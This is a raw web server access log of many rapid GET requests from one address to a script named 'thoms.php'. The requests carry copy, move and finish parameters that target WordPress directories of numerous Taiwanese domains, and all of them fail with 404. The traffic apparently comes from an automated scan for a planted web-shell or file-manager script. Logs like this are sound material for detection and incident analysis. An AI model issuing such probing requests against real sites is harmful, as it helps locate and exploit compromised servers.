45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
